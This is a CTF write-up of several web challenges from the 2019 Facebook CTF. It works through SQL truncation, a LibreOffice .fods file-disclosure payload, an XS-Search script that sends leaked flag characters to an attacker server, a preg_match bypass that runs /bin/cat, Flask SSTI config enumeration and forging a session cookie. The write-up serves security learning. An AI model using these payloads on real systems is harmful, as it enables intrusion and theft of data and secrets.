Solving each and every fb-ctf challenge PART 1

Write-up of all the challenges which were in fb-ctf web category

Piyush Raj ~ Rex
InfoSec Write-ups

--

Okay, before beginning, let me admit my fault, I totally forgot about fb-ctf after coming home on 26th May, and when I found the note, it was too late.
Still, I could’ve pulled out some challenges but unfortunately I had my GSoC internal submission on 2nd — 4th June.

Sad.

Yeah, so I completed it between 5th —8th June, but hey, I connected to the IRC chat (#fb-ctf) on 1st and occasionally read the chats, it was fun!

No, I found it funny as well :P

It was again a jeopardy styled CTF with dynamic scoring policy, meaning pts ‘automatically’ get adjusted according to “number of solves” parameter.
Some people said that it was harder than the common ones and I found this to be true.

Let the hacking begin

From The Social Network

Web :: product manager

Description

Description

Solution

We had the luxury of viewing the source-code for this challenge.

db.php

We can see the comments, and it hints about where the flag is. It means we somehow need to access the description value of the facebook element.

db.php

On further inspection of db.php, it seems SQL Injection isn’t an option due to correct preparation of the SQL statements.

Vulnerability

The check_name_secret checks that a product exists with the entered name and secret combination. However, the get_product function only returns an element from the database by using the name parameter!

This means we can add another element called facebook with a secret we know and get the program to return the first product found with the name facebook i.e. the one with the flag!

It throws an error that name already exists. Shit!
After 4–5 hours of searching, reading about MySQL, I got to know about SQL Truncation Attack (ref-1 | ref-2)

Actually, this is an issue with MySQL. MySQL doesn’t compare strings in binary mode. By default, more relaxed comparison rules are used.

Taking a quote from the documentation:

All MySQL collations are of type PADSPACE. 
This means that all CHAR, VARCHAR, and TEXT
values in MySQL are compared without regard
to any trailing spaces.

This results in the MySQL statement treating "facebook " the same as "facebook"

Exploit!

The password is desc itself
Product has been added
Exploited! non-1337 flag : attacking_sqi_without_injection_is_amazing_:)

Web :: pdfme

Description

Exploring the challenge

Welcome Page

What the hell is .fods?

OpenDocument Spreadsheet XML Definition

Okay, let’s forget .fods for a minute and upload a .TXT file just to see what happens … (to know if it blocks our request or not)

Generated 1.pdf, yeah Mr. Robot ❤

Wow, it converted our .TXT file and generated a .PDF
(as expected, “pdfme”, remember?)

One common way to exploit upload pages is to upload a shell.
Steps :
1. Upload the shell successfully
2. Access the shell
We already have checked that it do not have any file extension validation mechanisms, so we’re fine with first step. Let’s jump on the second one.

For discovering directories, let’s use dirb :

dirb http://challenges.fbctf.com:8084/

While it’s running, let’s analyse the .PDF that was generated :

Looking into Metadata

Hmm.. LibreOffice 6.0, is this the latest version?

No, it’s not

Okay, I know what to search next!

LibreOffice Security Advisories Page

Aha! Remote arbitrary file disclosure vulnerability, I can smell the flag.

Oh, I see “.fods” now!
Let’s copy-paste the poc.fods, upload and see if our theory works or not.

It didn’t, but this error does not proves that it doesn’t works. Let’s try modifying it with our own payload.
It’s 23 KB and we sure can minimize this POC. Removing all the styles, and crafting a single payload to display /etc/passwd

Try #2:

Success!

Meanwhile,

Definitely not the way to go.

Now that we can see files, let’s try seeing .bash_history, maybe that‘ll help us to know the location of flag!

Nope! (For protocols that are not supported, such as ftp: // or file: //, WEBSERVICE returns the #VALUE! error value.)

Or maybe …

Wow.
=WEBSERVICE("/home/libreoffice_admin/flag")

The End

Web :: secret note keeper

Welcome Screen

Clicking on “All Notes” gives: (so does “Search Notes” and “Report Bugs”)

Giving any login credentials works. I used “root”/”root”.

Saving a note named “ping”

Search Notes :

Inspection reveals :

<iframe> ❤

It loads external content via using <iframe>

And I can access it!

Let’s try enumerating ?

Cool, so if we found the correct num, we can leak the flag? Right?
http://challenges.fbctf.com:8082/note/{#num}

After a while, I got to know, we can’t access other people’s note directly. Then, I halfheartedly tried things like XSS, CSRF. While trying these, I also saw Burp requests when I tried submitting a Bug Report. I noticed :

HeadlessChrome/74.0.3729.169 Safari/537.36 (https://developers.whatismybrowser.com/useragents/explore/software_name/chrome/2)

I stopped and thought okay, we know that we have to perform client side attack, but with no user interaction ?

I gave up, so, I came to the conclusion that I have to check write-ups for getting this challenge. But a strange coincidence happened!

I accidentally remembered a video by LiveOverflow (his pop-under on chrome videos initially), then gradually I remembered him explaining something about XS-Search :

I came to know that XS-Search is a very recent research topic regarding web exploitation. The main intention of these attacks is to leak information from a service by exploiting a user. Like a side channel attack. These attacks are performed Cross-Origin

After searching a little bit, I got to know that we can’t use the exact way as LiveOverflow uses in his video, because he uses CHROME_XSS_AUDITOR error msg to build his exploit, which we can’t use, as it’s running Chrome 74 which filtered out that message. But, it’s fairly easy to build a condition.

We know from the initial recon that if we perform a search that returns 1 result, then 1 iframe is created with the note and if the search returns no results then no iframes are created. Now, we can get the number with frames.length (ref : HTMLIFrameElement.contentWindow API)

Basic workflow to get the flag :

  1. Start a server on port 80, port-forward so that it’s reachable.
  2. Write a python script that solves pow (proof-of-work) and makes a Bug Report submit request to challenges.fbctf.com:8082 with the URL of our server serving the exploit.
  3. Write the main exploit sandwich.

Pseudo code of our exploit

chars = ‘All printable character list’;
target = “http://challenges.fbctf.com:8082/search?query="
attr = document.createElement(‘iframe’);
function exploit() {
for char in chars:
iframe src => “http://challenges.fbctf.com:8082/search?query=" + “fb{“
console.log(“leaked data = “ + “fb{“ + char);
attr.onload = () => {
if (attr.contentWindow.frames.length != 0) {
ping.own.server.with.data(“fb{“ += char, “POST”, “no-cors”)
}
}
exploit()

That’s it.

flag : fb{cr055_s173_l34|<5_4r4_c00ool!!}

web :: rceservice

Description

We have the source code, let’s see it!

index.php

Okay, now let’s visit the challenge :

Okay, let’s test a sample command, {“cmd”:”ls”}

Cool, but we can’t execute other commands. Duh.
(preg_match blocked everything except lowercase alphabets and white-spaces, the regex doesn’t seems vulnerable.)

Reading about preg_match() reveals an interesting comment!

Testing

works on PHP 7.2

Let’s test our theory by creating an exploit :

{“cmd” : “ls -la”, “test” : “aaaaaaaaaa …”}
Hacking Attempt detected, Again?

Didn’t work, let’s see the limits if we got something wrong :

Oh, backtracking limit is 1000000, let’s modify and test it again :

Let’s find the flag!

Gotcha! Let’s read the flag.

What!?

Oops.

If you paid attention to index.php, you may remember that the application’s PATH variable was changed by:

putenv('PATH=/home/rceservice/jail');

This means that our current PATH contained the ls binary, which let us execute it, but not cat. We can bypass this by using the absolute path to cat which is /bin/cat.

Final Exploit :

import requests;payload = '{"cmd":"cd /home/rceservice/ && /bin/cat flag", "test" : "' + "a"*(1000000) + '"}';requests.post("http://challenges.fbctf.com:8085/", data={"cmd":payload}).text
w0ot!

In quest of knowing more preg_match() bypass techniques, I got this :

So, I looked the write-up, and I was amazed!

I tested and it worked like a charm!
Quick reference to understand his approach (ref)

Insane!

web :: events

Description

Welcome Page

After adding an event, clicking on Admin Panel and getting a “sorry, man” message, Let’s get to the point :

Interesting parameters to me are “user” and “pow”
After trying to decrypt md5 part of pow and failing (I saw it coming)
I bluntly searched “decode cookies”

Hmmm …

Flask Session, Yeaahh, looks like a Flask application. Anyways, let’s decode!

Oh wow, it did, but .. how?, I want to know!!

Just a base64 separated with (.) ? (we can do it ourselves!)

Done! What’s about other parts?

Anyways, we now are 80% sure that it’s a Flask App (can be a trick but, eh)

So, after reading about Flask Cookies, “Exploiting encrypted cookies for fun and profit” et-cetera …

I was nowhere, so I read the challenge again, it also says something about “string formatting”, let’s search again :

Okay .. Let’s dig deeper.

Let’s search payloads, PayloadAllTheThings/SSTI
After some failed attempts on suspicious event_important param, we came with :

Result

It works! Now, we read {{thanks to Flask’s awesome documentation}} that cookies are signed with key, which is stored in SECRET_KEY environment variable. Let’s see where it’s normally stored. (ref)

Meanwhile, I found a tool named tplmap, and thought, why not give it a try?
Okay, while it’s running, let’s see, I remember a blog post regarding obfuscating python which included __class__ and other things.

Aha!

This introduces many internal workings and definitions of Python. So, we want to get the config, it’s generally stored in and can be found by running app.config.
By the way, I found another great blog which strictly focuses on what we want to learn, https://rushter.com/blog/python-class-internals/

Long story short, you’ll get to know that these __blah__ are called “Magic methods”

After about 2 hours of searching, reading, accumulating …

Finally, it must have the SECRET_KEY / flag.

Checking, __subclasses__,__globals__, __dict__, __init__, etc.
We can see __init__ is a function by using the following payload :

Payload :
__init__.__dict__
Output :
{‘_sa_original_init’: <function _declarative_constructor at 0x7fb2c3a6f730>}

Let’s enumerate __init__ function via using __globals__ as we read “__globals__ holds the function’s global variables” — docs.python.org

__init__.__globals__
Contents of __globals__

Cool, as we said, app contains configuration info. Now, we need to enumerate app parameter. As it’s a dict, we can do payload[‘app’], let’s try it out!

Payload :
__init__.__globals__[app]
Output :
<Flask 'app'>

Umm.. Let’s see our current workflow, app is a variable, we generally use app.config, config is a method, we use __dict__ to enumerate methods, and we need to get data from app.

Let’s enumerate both!

Payloads :
__init__.__globals__[app].config.__dict__
__init__.__globals__[app].__dict__
Yipee! Finally! or not?

It doesn’t looks like a flag :( We failed! (but .. but it has “fb”)
I thought, I was wrong all along, but then it hit me, what we were doing ?

Yes! We were trying to access “Admin Panel”, we also read “how to exploit cookies for fun and profit”, oh!

Yay, we have it! ( http://flask.pocoo.org/docs)

Meanwhile, the tool (tplmap) was not able to do anything :

Header parameter: Cookie
Engine: Twig
Injection: 1:1})}}*{{1
Context: code
OS: undetected
Technique: blind
Capabilities:
Shell command execution: no
Bind and reverse shell: no
File write: no
File read: no
Code evaluation: ok, php code (blind)

Okay, so, before reading documentation, let’s see if we can find low hanging information, as I am tired …

That turned out to clarify everything, but I went a little deeper and ..

Let’s go with Flask-Unsign as we have to do signing, forging. As per it’s documentation,

We’ll modify the given example, we know that when we decode the cookie, it gives the username, remember, base64 decoding?

flask-unsign --sign --cookie "admin" --secret 'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
Cookie, Cookie

Great, we get a signed cookie, now, let’s try to forge it.

wo0t!

After solving, I saw the final page, inspected it.

I was thinking if the flag was stored in some function, such as get_flag() function we saw while enumerating app.config, we could have gone further and have enumerated the flag without doing all of the above. Unfortunately, it was not the case here.

Moving right along. (Line from The Social Network)

FUN FACT

When I was making this blog, I logged in with test/test. Just see what happened!

Moral of the story : One can 957 pts just for getting lucky!

or maybe one should try all l33t credentials if there’s a common ground. (sure, you’ll learn nothing, no, I don’t want it.)

web :: hr_admin_module

Description

Welcome Page

Only 4 solves! (coughs) Anyway, what’s with the error ?

We know where to look & what technology we’ll be exploiting, PostgreSQL.

There’s a disabled function “Search users”, but we can make request by user_search seeing “Search employees” structure — /?employee_search=mark
As per my experience, this may involve SQL injection to access restricted access. There are two parameters we can inject in, let’s try both.
employee_search didn’t gave any results but the suspicious user_search gave (as expected), we tried injecting ' and it didn’t gave anything, but when I refreshed the page it gave the following output :

Looks familiar, I have seen it, let me see the sources :

Seems like it uses PHP session-based flash messages (ref)
After this, I opened pentestmonkey’s Postgres SQL Injection Cheat Sheet and tried injecting queries. Some of them gave warning messages, some didn’t but none of them worked. I was clueless.

I feel bad because while searching I ended up accidentally (not quite, as I was tired so, I just clicked) seeing a write-up by PDKT-Team/fbctf2019/hr-admin-module
I could’ve learned much more if I spent more time, but still, I learned deeply about various types of SQL Injection, was totally unaware of Out-of-Band SQL Injection, SQL through SSRF, PostgreSQL file load functions, I knew DNS ex-filtration but didn’t thought how beautifully it can be used!

And, it’s a wrap, keep an eye for PART 2

About the Author

Piyush Raj is now a 18 year old college freshmen currently working with OWASP Foundation as a Google Student Developer or say GSoCer. He’s past Google Code-In Contribution Winner, and loves playing football.

You can connect with him over LinkedIn, Twitter, Instagram.

Social Jazz.

--

--

Google Code-In C. Winner. GsOCer ‘19. Independent Security Researcher. Have hacked Medium, Mozilla, Opera & many more. Personal Website: https://0x48piraj.com